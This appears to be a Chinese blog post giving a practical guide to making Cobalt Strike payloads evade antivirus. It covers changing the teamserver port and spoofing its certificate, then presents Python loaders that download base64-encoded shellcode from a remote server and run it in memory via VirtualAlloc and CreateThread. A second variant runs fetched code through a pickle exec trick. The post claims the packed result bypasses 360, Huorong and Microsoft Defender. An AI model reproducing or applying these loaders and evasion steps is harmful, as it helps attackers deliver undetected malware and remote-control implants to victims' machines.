程序员开发实例大全宝库

网站首页 > 编程文章 正文

「技术分享」Cobalt Strike免杀操作

zazugpt 2024-08-24 02:28:51 编程文章 16 ℃ 0 评论

Cobalt Strike简介

Cobalt Strike是一款功能强大的渗透工具,集成了端口转发、提权、凭据导出、服务扫描、文件捆绑、木马生成,钓鱼等多种功能。Cobalt Strike作为一款协同工具,主要用于团队作战,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。

Cobalt Strike免杀操作

CS生成木马已经被各大杀毒软件加入病毒库,很容易被查杀,所以我们需进行一些免杀操作。首先,通过以下方法去除Cobalt Strike的特征。

一、修改默认端口

  • 在teamserver中,找到server_port,将默认端口50050修改为其他端口

二、修改证书

  • 使用java数据证书的管理工具Keytool,找到.store后缀的文件并删除,然后使用以下代码修改证书信息:

keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=US, OU=”baidu.com“, O=“Sofatest”, L=Beijing, ST=Cyberspace, C=CN"

然后参考360老哥的文章,shellcode和加载器(pyminifier混淆后)经base64编码后,放远程服务器备用。

然后远程下载两次,即可成功绕过360全家桶、火绒、微软专业版以及教育版。

shellcode="\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\'


import ctypes,urllib.request,codecs,base64
shellcode = urllib.request.urlopen(' 
shellcode = shellcode.strip()shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(    
        ctypes.c_uint64(ptr),     
        buf,    
        ctypes.c_int(len(shellcode))
 
 handle = ctypes.windll.kernel32.CreateThread(    
        ctypes.c_int(0),     
        ctypes.c_int(0),     
        ctypes.c_uint64(ptr),     
        ctypes.c_int(0),     
        ctypes.c_int(0),     
        ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

import pickle
import ctypes,urllib.request,codecs,base64
sectr = urllib.request.urlopen(' 
sectr = base64.b64decode(sectr).decode("utf-8")
class A(object):    
       def __reduce__(self):        
       return (exec, (sectr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)

混淆后,使用py2exe打包后即可使用。

后续shellcode可分段,改流量,其他加密混淆方式大家可自行测试。

至于如何绕过win10企业版,小智大佬不让我公开,要砍你们找他去吧。


Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表